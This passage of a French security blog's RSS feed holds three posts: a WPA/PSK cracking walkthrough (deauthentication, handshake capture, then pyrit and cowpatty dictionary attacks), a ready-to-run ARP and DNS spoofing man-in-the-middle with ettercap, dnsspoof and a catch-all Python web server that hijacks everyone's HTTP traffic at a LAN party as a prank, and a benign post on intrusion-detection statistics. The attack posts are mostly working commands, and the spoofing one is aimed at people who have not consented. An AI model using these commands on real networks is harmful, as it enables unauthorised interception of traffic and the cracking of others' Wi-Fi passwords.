                        <hr /><h2>Articles similaires : </h2><ul><li><a href="http://blog.gaetan-grigis.eu/non-classe/ossec-et-iptables-ban-a-duree-variable/" rel="bookmark" title="Permanent Link: Ossec et Iptables : ban à durée variable">Ossec et Iptables : ban à durée variable</a></li><li><a href="http://blog.gaetan-grigis.eu/systeme/protection-ddos-et-ban-de-masse/" rel="bookmark" title="Permanent Link: Protection DDos et ban de masse">Protection DDos et ban de masse</a></li><li><a href="http://blog.gaetan-grigis.eu/securite/crackage-de-md5-encore/" rel="bookmark" title="Permanent Link: Crackage de MD5 &#8230; encore">Crackage de MD5 &#8230; encore</a></li><li><a href="http://blog.gaetan-grigis.eu/systeme/securiser-un-blog-wordpress-par-un-ips-avec-wpsyslog2-et-ossec/" rel="bookmark" title="Permanent Link: Sécuriser un blog WordPress par un IPS avec wpsyslog2 et ossec">Sécuriser un blog WordPress par un IPS avec wpsyslog2 et ossec</a></li><li><a href="http://blog.gaetan-grigis.eu/programmation/perl/notification-ossec-sur-twitter-en-perl/" rel="bookmark" title="Permanent Link: Notification Ossec sur Twitter en perl">Notification Ossec sur Twitter en perl</a></li></ul><hr /><small>Copyright &copy; 2008-2011 - Gaetan Grigis - <a href="http://blog.gaetan-grigis.eu">blog.gaetan-grigis.eu</a> </small>]]></content:encoded>
			<wfw:commentRss>http://blog.gaetan-grigis.eu/systeme/ossec-et-sshbannissement-ip-definitif-de-cracker/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Cracking de WPA/PSK (Pyrit/CowPatty)</title>
		<link>http://blog.gaetan-grigis.eu/securite/cracking-de-wpapsk-pyritcowpatty/</link>
		<comments>http://blog.gaetan-grigis.eu/securite/cracking-de-wpapsk-pyritcowpatty/#comments</comments>
		<pubDate>Sun, 21 Nov 2010 16:39:12 +0000</pubDate>
		<dc:creator>Gaëtan</dc:creator>
				<category><![CDATA[Sécurité]]></category>
		<category><![CDATA[calcul distribué]]></category>
		<category><![CDATA[cluster]]></category>
		<category><![CDATA[cracking]]></category>
		<category><![CDATA[psk]]></category>
		<category><![CDATA[pyrit]]></category>
		<category><![CDATA[tkip]]></category>
		<category><![CDATA[wpa]]></category>

		<guid isPermaLink="false">http://blog.gaetan-grigis.eu/?p=917</guid>
		<description><![CDATA[plop à tous &#8230; Vous êtes seul responsable de vos actes sur internet, et veillez à toujours avoir les autorisations nécessaire pour pénétrer un réseau (autorisation écrite). J&#8217;ai eu récemment à auditer les réseaux wifi d&#8217;une entreprise suite à des problèmes wifi inconnus (oui ça met en confiance ^^) &#8230; Certes, les articles de cracking [...]]]></description>
			<content:encoded><![CDATA[<p>plop à tous &#8230;</p>
<p><strong>Vous êtes seul responsable de vos actes sur internet, et veillez à toujours avoir les autorisations nécessaire pour pénétrer un réseau (autorisation écrite).</strong></p>
<p>J&#8217;ai eu récemment à auditer les réseaux wifi d&#8217;une entreprise suite à des problèmes wifi inconnus (oui ça met en confiance ^^) &#8230; Certes, les articles de cracking wpa sont légions sur internet, mais mon approche étant un peu différente de la normal (une commande de kikoolol s&#8217;est cachée dans cet article <img src='http://blog.gaetan-grigis.eu/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> ), j&#8217;ai pensé utile de relater mon expérience ici.<br />
<span id="more-917"></span><br />
Côté soft, j&#8217;ai utilisé la suite aircrack-ng, et pyrit/cowpatty.</p>
<p>On démarre une interfaces virtuelle en monitor (pour les cartes atheros)  :</p>
<pre>airmon-ng start wlan0</pre>
<p>Puis on commence par récupérer des handshakes WPA, on peut le faire de manière naturelle, en attendant une nouvelle handshake :</p>
<pre>airodump --channel 1,2,3 --w audit-entx mon0</pre>
<p>L&#8217;entreprise ayant 5 réseaux wifi sur différent canaux, l&#8217;option &#8211;channel suivie de chiffres séparés par des , permet d&#8217;enregistrer dans des fichiers préfixés &laquo;&nbsp;audit-entx&nbsp;&raquo;, les handshakes nécessaires au cracking des passes.</p>
<p>Si besoin est, on peut demander des déconnexions des clients, pour récupérer plus rapidement les handshakes :</p>
<pre>aireplay-ng -e "essid d'un reseau" -0 5 mon0</pre>
<p>A partir de là s’arrête l&#8217;attaque online &#8230; ça n&#8217;aura duré d&#8217;une dizaine de minutes pour récupérer une dizaine de handshakes par réseaux wifi &#8230; un seul par réseaux aurait suffit, mais on ne sait jamais &#8230;</p>
<p>Cela dit, comparé à une attaque wep (en ne passant pas par l&#8217;envoi de deauth), une attaque sur un réseau WPA reste très &laquo;&nbsp;furtive&nbsp;&raquo;, puisqu&#8217;aucun paquets n&#8217;est forgés, les IDS déployés sur le wlan ne découvre rien concernant l&#8217;attaque.</p>
<h2>Pour la suite, il y a plusieurs possibilités :</h2>
<p><strong>Utiliser l&#8217;outil airolib</strong> (prend une bonne demi journée), qui génére une matrice de mot de passe associé à l&#8217;essid du réseau, pour ce faire, il faut un dictionnaire de mot de passe (cherchez password list sur google ou utilisez celui de backtrack 4 ) et la liste des essid sur lesquels il faut lancer l&#8217;attaque.</p>
<p>L&#8217;entreprise étant la seule dans les environs à utiliser du TKIP/PSK, les commandes suivante créées un fichier nommé essid avec la liste des essid répondant à mes critères, importe dans la base de données sqlite &laquo;&nbsp;audit-entx&nbsp;&raquo; les essid et la liste de mot de passe (~2 millions de mot de passes entre 8 et 32 caractères).</p>
<pre>iwlist ath0 scan|egrep -B 10 "TKIP|PSK"|grep ESSID|awk -F\" '{print $2}' &gt; essid
airolib-ng audit-entx --import essid essid
airolib-ng audit-entx --import passwd malistedepasse</pre>
<p>Il faudra ensuite générer les hash associant le mot de passe et l&#8217;essid, soit pour mon cas environ 8 millions de combinaisons différentes :</p>
<pre>airolib-ng audit-entx --batch</pre>
<p>Cette opération peut prendre beaucoup de temps (une demi journée dans mon cas &#8230; en tournant à 300PMK/s).</p>
<p>et on lance le crack avec ﻿(nécessite la compilation de aircrack avec sqlite)</p>
<pre>aircrack-ng -r audit-entx monfichier.cap</pre>
<p><strong>Utiliser l&#8217;outil pyrit</strong> (qui prend environ 10 minutes avec une bonne carte graphique pour moi une GTX 260 et un phantom X4 en SSE2).</p>
<p>Pour installer pyrit et cpyrit_cuda, suivre la <a href="http://code.google.com/p/pyrit/wiki/Installation">manip ici</a>, installer CUDA et le CUDAToolkit (sinon il va manquer des libs lors de la compilation du soft).</p>
<p>Une fois installé, on ajoute les essid et la liste de pass, et on commence le batch :</p>
<pre>pyrit -e "monessid" create_essid
pyrit -i passwd.lst import_passwords
pyrit batch</pre>
<p>En 5 bonnes minutes, mes 5 réseaux était &laquo;&nbsp;batchés&nbsp;&raquo; :<br />
<a href="http://blog.gaetan-grigis.eu/wp-content/uploads/2010/11/batch_proc.png"><img class="aligncenter size-full wp-image-922" title="batch_proc" src="http://blog.gaetan-grigis.eu/wp-content/uploads/2010/11/batch_proc.png" alt="" width="606" height="357" /></a><br />
Plus qu&#8217;à passer au cracking :</p>
<pre>pyrit -r monfichier.cap attack_db</pre>
<p>Manque de pot, l&#8217;outil me renvoi une erreur d&#8217;argument de la fonction unpack &#8230; a part en mettant les doigts dans la bête, je ne pouvais rien faire. Il faut donc ensuite passer par <a href="http://www.willhackforsushi.com/?page_id=50">cowpatty</a> pour terminer le crack :</p>
<pre>pyrit -e "monessid" -o hash export_cow
cowpatty -d hash -r monfichier.cap -s "monessid"</pre>
<p>Et en 5 secondes on a le mot de passe (si il a le malheur d&#8217;être dans la liste de mot de passe).</p>
<p>Donc voilà, pour ma première expérience de cracking en WPA avec pyrit &#8230; et la première fois que j&#8217;ai pu entendre les ventilo (package Zotac) de ma GTX260 faire du gros boucan (SC2 et HON ne pompent pas assez de ressources pour passer les 75°C requit pour le lancement des ventilo xD).</p>

                            <div id="aspdf">
                                <a href="http://blog.gaetan-grigis.eu/wp-content/plugins/as-pdf/generate.php?post=917">
                                    <span>Télécharger l'article au format PDF</span>
                                </a>
                            </div>
                        <hr /><h2>Articles similaires : </h2><ul><li><a href="http://blog.gaetan-grigis.eu/securite/cracking-de-pass-via-gpu-cuda-avec-durandal-md5-sha/" rel="bookmark" title="Permanent Link: Cracking de pass via GPU (Cuda) avec Durandal (MD5, SHA, &#8230;)">Cracking de pass via GPU (Cuda) avec Durandal (MD5, SHA, &#8230;)</a></li><li><a href="http://blog.gaetan-grigis.eu/systeme/telechargement-direct-et-linux-tucan/" rel="bookmark" title="Permanent Link: Téléchargement Direct et Linux (Tucan)">Téléchargement Direct et Linux (Tucan)</a></li><li><a href="http://blog.gaetan-grigis.eu/programmation/bt3-dans-les-bacs-les-hackeurs-vont-se-regaler/" rel="bookmark" title="Permanent Link: BT3 dans les bacs &#8230; les hackeurs vont se régaler">BT3 dans les bacs &#8230; les hackeurs vont se régaler</a></li></ul><hr /><small>Copyright &copy; 2008-2011 - Gaetan Grigis - <a href="http://blog.gaetan-grigis.eu">blog.gaetan-grigis.eu</a> </small>]]></content:encoded>
			<wfw:commentRss>http://blog.gaetan-grigis.eu/securite/cracking-de-wpapsk-pyritcowpatty/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Idée de redirection forcée en http lors de lan party, rencontre du libre &#8230;</title>
		<link>http://blog.gaetan-grigis.eu/securite/idee-de-redirection-force-en-http-lors-de-lan-party-rencontre-du-libre/</link>
		<comments>http://blog.gaetan-grigis.eu/securite/idee-de-redirection-force-en-http-lors-de-lan-party-rencontre-du-libre/#comments</comments>
		<pubDate>Sat, 24 Apr 2010 10:41:46 +0000</pubDate>
		<dc:creator>Gaëtan</dc:creator>
				<category><![CDATA[Sécurité]]></category>
		<category><![CDATA[lan-party]]></category>
		<category><![CDATA[man-the-middle]]></category>
		<category><![CDATA[redirection]]></category>
		<category><![CDATA[rencontre]]></category>
		<category><![CDATA[spoofing]]></category>

		<guid isPermaLink="false">http://blog.gaetan-grigis.eu/?p=806</guid>
		<description><![CDATA[Plop à tous &#8230; dans le genre : &#171;&#160;Hacking for fun and fun&#160;&#187; Il peut arriver que l&#8217;on s&#8217;ennuie lors de participations à des &#171;&#160;lan party&#160;&#187;, rencontres du libre (quoique) et que l&#8217;on veuille amuser la galerie, sans trop se faire remarquer. Le but ici est de faire un man in the middle, pour rediriger [...]]]></description>
			<content:encoded><![CDATA[<p>Plop à tous &#8230; dans le genre : &laquo;&nbsp;Hacking for fun and fun&nbsp;&raquo;</p>
<p>Il peut arriver que l&#8217;on s&#8217;ennuie lors de participations à des &laquo;&nbsp;lan party&nbsp;&raquo;, rencontres du libre (quoique) et que l&#8217;on veuille amuser la galerie, sans trop se faire remarquer.</p>
<p>Le but ici est de faire un man in the middle, pour rediriger toutes les requêtes http sur notre serveur HTTP avec <a href="http://blog.gaetan-grigis.eu/wp-content/uploads/2010/04/index.html">une page étonnamment belle</a>.<br />
<span id="more-806"></span><br />
<strong>Les outils nécessaire :</strong></p>
<ul>
<li>des accès http autorisés sur le réseau (sinon, personne ne tombera dans le &laquo;&nbsp;piège&nbsp;&raquo;).</li>
<li>ettercap (paquet ettercap) ou arpspoof (paquet dsniff) pour le man in the middle</li>
<li>dnsspoof (paquet dsniff) pour le dns spoofing</li>
<li>un serveur http en place (voir le serveur http python en 1 ligne de commande dans l&#8217;article précédent)</li>
</ul>
<p><strong>la Manipulation : </strong></p>
<ul>
<li>On met en place le forwarding</li>
<li>On créer un fichier qui renverra vers notre ip tout les domaines.</li>
<li>On met en marche notre spoofing dns sur notre interface réseau</li>
<li>On met en place notre serveur HTTP (cf script plus bas)</li>
<li>On met en place le man in the middle</li>
</ul>
<div class="geshi no bash">
<ol>
<li class="li1">
<div class="de1"><span class="kw2">sudo</span> sysctl net.ipv4.<span class="re2">ip_forward=</span><span class="nu0">1</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw3">echo</span> <span class="st0">&quot;VOTRE_IP *&quot;</span> <span class="sy0">&gt;</span> hostfile</div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">sudo</span> dnsspoof -i INTERFACE_RESEAU -f hostfile <span class="sy0">&amp;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">sudo</span> .<span class="sy0">/</span>webserver.py <span class="sy0">&amp;</span></div>
</li>
<li class="li1">
<div class="de1">ettercap -Tqi INTERFACE_RESEAU -M arp:remote <span class="sy0">//</span> <span class="sy0">//</span></div>
</li>
</ol>
</div>
<p>Et tout le monde sur le réseau se retrouvera sur votre serveur HTTP à afficher notre belle page html &#8230;</p>
<p>Pour le serveur HTTP on peut utiliser le script suivant :<br />
C&#8217;est un serveur un peu spécial, puisque pour n&#8217;importe quelle requête http reçu (et pour n&#8217;importe quelle page), il renvoit l&#8217;index.html courant </p>
<div class="geshi no python">
<ol>
<li class="li1">
<div class="de1"><span class="co1">#!/usr/bin/python</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">from</span> <span class="kw3">os</span> <span class="kw1">import</span> curdir, sep</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">from</span> <span class="kw3">BaseHTTPServer</span> <span class="kw1">import</span> BaseHTTPRequestHandler, HTTPServer</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">class</span> MyHTTPServer<span class="br0">&#40;</span>BaseHTTPRequestHandler<span class="br0">&#41;</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw1">def</span> do_GET<span class="br0">&#40;</span><span class="kw2">self</span><span class="br0">&#41;</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">try</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;f = <span class="kw2">open</span><span class="br0">&#40;</span>curdir + sep + <span class="st0">&quot;index.html&quot;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="kw2">self</span>.<span class="me1">send_response</span><span class="br0">&#40;</span><span class="nu0">200</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="kw2">self</span>.<span class="me1">send_header</span><span class="br0">&#40;</span><span class="st0">&#39;Content-type&#39;</span>,<span class="st0">&#39;text/html&#39;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="kw2">self</span>.<span class="me1">end_headers</span><span class="br0">&#40;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="kw2">self</span>.<span class="me1">wfile</span>.<span class="me1">write</span><span class="br0">&#40;</span>f.<span class="me1">read</span><span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;f.<span class="me1">close</span><span class="br0">&#40;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">except</span> <span class="kw2">IOError</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">self</span>.<span class="me1">send_error</span><span class="br0">&#40;</span><span class="nu0">404</span>,<span class="st0">&#39;File Not Found: %s&#39;</span> <span class="sy0">%</span> <span class="kw2">self</span>.<span class="me1">path</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw1">def</span> do_POST<span class="br0">&#40;</span><span class="kw2">self</span><span class="br0">&#41;</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; do_GET<span class="br0">&#40;</span><span class="kw2">self</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">def</span> main<span class="br0">&#40;</span><span class="br0">&#41;</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw1">try</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; server = HTTPServer<span class="br0">&#40;</span><span class="br0">&#40;</span><span class="st0">&#39;&#39;</span>, <span class="nu0">80</span><span class="br0">&#41;</span>, MyHTTPServer<span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">print</span> <span class="st0">&#39;On demarre le serveur WEB&#8230;&#39;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; server.<span class="me1">serve_forever</span><span class="br0">&#40;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw1">except</span> <span class="kw2">KeyboardInterrupt</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">print</span> <span class="st0">&#39;On eteint &#8230;&#39;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; server.<span class="kw3">socket</span>.<span class="me1">close</span><span class="br0">&#40;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">if</span> __name__ == <span class="st0">&#39;__main__&#39;</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; main<span class="br0">&#40;</span><span class="br0">&#41;</span></div>
</li>
</ol>
</div>
<p>une idée <a href="http://blog.gaetan-grigis.eu/wp-content/uploads/2010/04/index.html">d&#8217;index.html à afficher</a> (j&#8217;en suis trop fière quand même ^^ ) :</p>
<div class="geshi no html">
<ol>
<li class="li1">
<div class="de1">&lt;html&gt;
</div>
</li>
<li class="li1">
<div class="de1">&nbsp;&lt;head&gt;
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &lt;title&gt;Les kikoolols attaquent !!&lt;/title&gt;
</div>
</li>
<li class="li1">
<div class="de1">&nbsp;&lt;/head&gt;
</div>
</li>
<li class="li1">
<div class="de1">&nbsp;&lt;body&gt;
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &lt;div style=&quot;width:300px;text-align:center;margin:0 auto;margin-top:25%&quot;&gt;&lt;h2&gt;Un exemple de script qui éclate bien les yeux, un régale pour du spoofing en lan party, &#8230;&lt;/h2&gt;&lt;/div&gt;
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &lt;script type=&quot;text/javascript&quot;&gt;
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp;var i=0;
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp;function lol()
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp;{
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; var color =&quot;&quot;;
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; switch(i%3)
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; {
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp;case 0:color=&quot;red&quot;;break;
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp;case 1:color=&quot;green&quot;;break;
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp;default:color=&quot;blue&quot;;
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; }
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; i++;
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; document.bgColor=color;
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; setTimeout(&quot;lol()&quot;, 100);
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp;}
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp;setTimeout(&quot;lol()&quot;, 100);
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &lt;/script&gt;
</div>
</li>
<li class="li1">
<div class="de1">&nbsp;&lt;/body&gt;
</div>
</li>
<li class="li1">
<div class="de1">&lt;/html&gt;</div>
</li>
</ol>
</div>
<p>Et voilà &#8230; vous êtes paré pour quelques fou rires en lan &#8230;mais il ne faut pas trop en abuser <img src='http://blog.gaetan-grigis.eu/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' />  ça devient vite lassant :s.</p>

                            <div id="aspdf">
                                <a href="http://blog.gaetan-grigis.eu/wp-content/plugins/as-pdf/generate.php?post=806">
                                    <span>Télécharger l'article au format PDF</span>
                                </a>
                            </div>
                        <hr /><h2>Articles similaires : </h2><ul><li><a href="http://blog.gaetan-grigis.eu/mes-applicationsscripts/" rel="bookmark" title="Permanent Link: Mes Applications/Scripts">Mes Applications/Scripts</a></li><li><a href="http://blog.gaetan-grigis.eu/programmation/php-programmation/envoyer-des-sms-via-google-calendar-et-php-socket-party/" rel="bookmark" title="Permanent Link: Envoyer des sms via google calendar et php &#8230; socket party ^^">Envoyer des sms via google calendar et php &#8230; socket party ^^</a></li><li><a href="http://blog.gaetan-grigis.eu/securite/les-liens-du-week-end/" rel="bookmark" title="Permanent Link: Les liens du week-end">Les liens du week-end</a></li><li><a href="http://blog.gaetan-grigis.eu/systeme/administration/dns-tunneling-par-la-pratique/" rel="bookmark" title="Permanent Link: DNS Tunneling par la pratique">DNS Tunneling par la pratique</a></li><li><a href="http://blog.gaetan-grigis.eu/programmation/bt3-dans-les-bacs-les-hackeurs-vont-se-regaler/" rel="bookmark" title="Permanent Link: BT3 dans les bacs &#8230; les hackeurs vont se régaler">BT3 dans les bacs &#8230; les hackeurs vont se régaler</a></li></ul><hr /><small>Copyright &copy; 2008-2011 - Gaetan Grigis - <a href="http://blog.gaetan-grigis.eu">blog.gaetan-grigis.eu</a> </small>]]></content:encoded>
			<wfw:commentRss>http://blog.gaetan-grigis.eu/securite/idee-de-redirection-force-en-http-lors-de-lan-party-rencontre-du-libre/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Nouvelle version de Prewikka sur debian testing</title>
		<link>http://blog.gaetan-grigis.eu/systeme/administration/nouvelle-version-de-prewikka-sur-debian-testing/</link>
		<comments>http://blog.gaetan-grigis.eu/systeme/administration/nouvelle-version-de-prewikka-sur-debian-testing/#comments</comments>
		<pubDate>Tue, 06 Apr 2010 17:18:16 +0000</pubDate>
		<dc:creator>Gaëtan</dc:creator>
				<category><![CDATA[Administration]]></category>
		<category><![CDATA[Sécurité]]></category>
		<category><![CDATA[ids]]></category>
		<category><![CDATA[ips]]></category>
		<category><![CDATA[ossec]]></category>
		<category><![CDATA[prelude]]></category>
		<category><![CDATA[prewikka]]></category>

		<guid isPermaLink="false">http://blog.gaetan-grigis.eu/?p=779</guid>
		<description><![CDATA[Plop à tous &#8230; ça fait déjà depuis quelques temps que la version 1.0 de prewikka (le frontend python de l&#8217;IDS prelude) est présente dans les dépôts de testing, mais comme je viens seulement de faire la mise à jour &#8230; ^^. (Au passage, prelude a aussi été mise à jour et OSSEC est passé [...]]]></description>
			<content:encoded><![CDATA[<p>Plop à tous &#8230;</p>
<p>ça fait déjà depuis quelques temps que la version 1.0 de prewikka (le frontend python de l&#8217;IDS prelude) est présente dans les dépôts de testing, mais comme je viens seulement de faire la mise à jour &#8230; ^^. (Au passage, prelude a aussi été mise à jour <img src='http://blog.gaetan-grigis.eu/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' />  et OSSEC est passé en 2.4 le mois dernier &#8230; il était donc temps de mettre à jour l&#8217;architecture de mon système de sécurité).<br />
<span id="more-779"></span><br />
Et oui les loupzeurs, la seule espèce de geek au monde à déployer un HIDS, un PKI, un IPS, un système de portknocking et un VPN pour les accès public pour sécuriser un blog visité par 110 personnes par jour !!!!!!! (lol je blague &#8230; en fait le PKI n&#8217;est pas encore en place xD).</p>
<p>Bref, pourquoi s&#8217;intéresser à la version 1.0.0 de prewikka ? Un truc tout bête qui existait sur pas mal d&#8217;autres outils, l&#8217;affichage de statistiques sur les attaques répertoriées par le prelude-manager (le &laquo;&nbsp;centralisateur&nbsp;&raquo; des données que peuvent lui envoyer OSSEC-agent, prelude-lml et plein d&#8217;autres (h|n)IDS/IPS ou système de logs). Et les statistiques avec plein de couleur et tout et tout, ça fait toujours classe.</p>
<p>Et donc voilà la tête de quelques stats pas forcément utiles (surtout dans mon cas) :</p>
<p>Les adresses focus pour les attaques &#8230; (genre on attaque mon NS &#8230; mon &#8216;dnstunnel&#8217; n&#8217;est pas là <img src='http://blog.gaetan-grigis.eu/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> )<br />
<a href="http://blog.gaetan-grigis.eu/wp-content/uploads/2010/04/targeted-adress.png"><img class="aligncenter size-full wp-image-782" title="targeted-adress" src="http://blog.gaetan-grigis.eu/wp-content/uploads/2010/04/targeted-adress.png" alt="" width="610" height="323" /></a></p>
<p>Les sources d&#8217;attaques, en mettant à jour certaine règles, d&#8217;autres types d&#8217;erreurs sont désormais loggés d&#8217;où les pics d&#8217;attaques à la fin. (On remarque un petit rigolo attaquant 24h/24h mon serveur ^^).<br />
<a href="http://blog.gaetan-grigis.eu/wp-content/uploads/2010/04/source-attaque.png"><img class="aligncenter size-full wp-image-781" title="source-attaque" src="http://blog.gaetan-grigis.eu/wp-content/uploads/2010/04/source-attaque.png" alt="" width="755" height="408" /></a></p>
<p>Le plus important : les types d&#8217;attaques, on remarque un login session closed et opened qui prennent à eux seul 85% des types d&#8217;attaques &#8230; il s&#8217;agit de la config par défaut d&#8217;OSSEC qui log un peu tout et n&#8217;importe quoi &#8230; (j&#8217;ai désactivé la chose il y a quelques mois, mais mes stats sont quant même pourri par ce truc :s).<br />
<a href="http://blog.gaetan-grigis.eu/wp-content/uploads/2010/04/type-attaque.png"><img class="aligncenter size-full wp-image-783" title="type-attaque" src="http://blog.gaetan-grigis.eu/wp-content/uploads/2010/04/type-attaque.png" alt="" width="693" height="326" /></a></p>
<p>Au final, en analysant la chose, les plus grosses attaques se trouvent être des trucs super naze, en 1 an de service, ces systèmes n&#8217;auront été utiles qu&#8217;une vingtaines de fois (pour 2 SQL Injection, 1 ploucs avec acunetix 1 noob avec un script perl de type nikto et des tentatives de comments flooding par des bots russes &#8230;).</p>
<p>Trop de sécurité tue l&#8217;insécurité ^^. Donc voilà, profitez bien de vos mise à jour <img src='http://blog.gaetan-grigis.eu/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> .</p>

                            <div id="aspdf">
                                <a href="http://blog.gaetan-grigis.eu/wp-content/plugins/as-pdf/generate.php?post=779">
                                    <span>Télécharger l'article au format PDF</span>
                                </a>
                            </div>
                        <hr /><h2>Articles similaires : </h2><ul><li><a href="http://blog.gaetan-grigis.eu/systeme/securite-installation-de-lids-prelude-sur-debian/" rel="bookmark" title="Permanent Link: Sécurité : Installation de l&#8217;IDS Prelude sur debian">Sécurité : Installation de l&#8217;IDS Prelude sur debian</a></li><li><a href="http://blog.gaetan-grigis.eu/systeme/administration/installer-la-derniere-version-de-firefox-et-firebug/" rel="bookmark" title="Permanent Link: Installer la dernière version de firefox et firebug">Installer la dernière version de firefox et firebug</a></li><li><a href="http://blog.gaetan-grigis.eu/ubuntu/ubuntu-mise-a-jour-du-paquet-edyuk/" rel="bookmark" title="Permanent Link: [UBUNTU] Mise à jour du paquet Edyuk">[UBUNTU] Mise à jour du paquet Edyuk</a></li><li><a href="http://blog.gaetan-grigis.eu/programmation/edyuk-version-110-released/" rel="bookmark" title="Permanent Link: Edyuk version 1.1.0 released">Edyuk version 1.1.0 released</a></li><li><a href="http://blog.gaetan-grigis.eu/systeme/sortie-de-metasploit-32/" rel="bookmark" title="Permanent Link: Sortie de Metasploit 3.2">Sortie de Metasploit 3.2</a></li></ul><hr /><small>Copyright &copy; 2008-2011 - Gaetan Grigis - <a href="http://blog.gaetan-grigis.eu">blog.gaetan-grigis.eu</a> </small>]]></content:encoded>
			<wfw:commentRss>http://blog.gaetan-grigis.eu/systeme/administration/nouvelle-version-de-prewikka-sur-debian-testing/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
	</channel>
</rss>

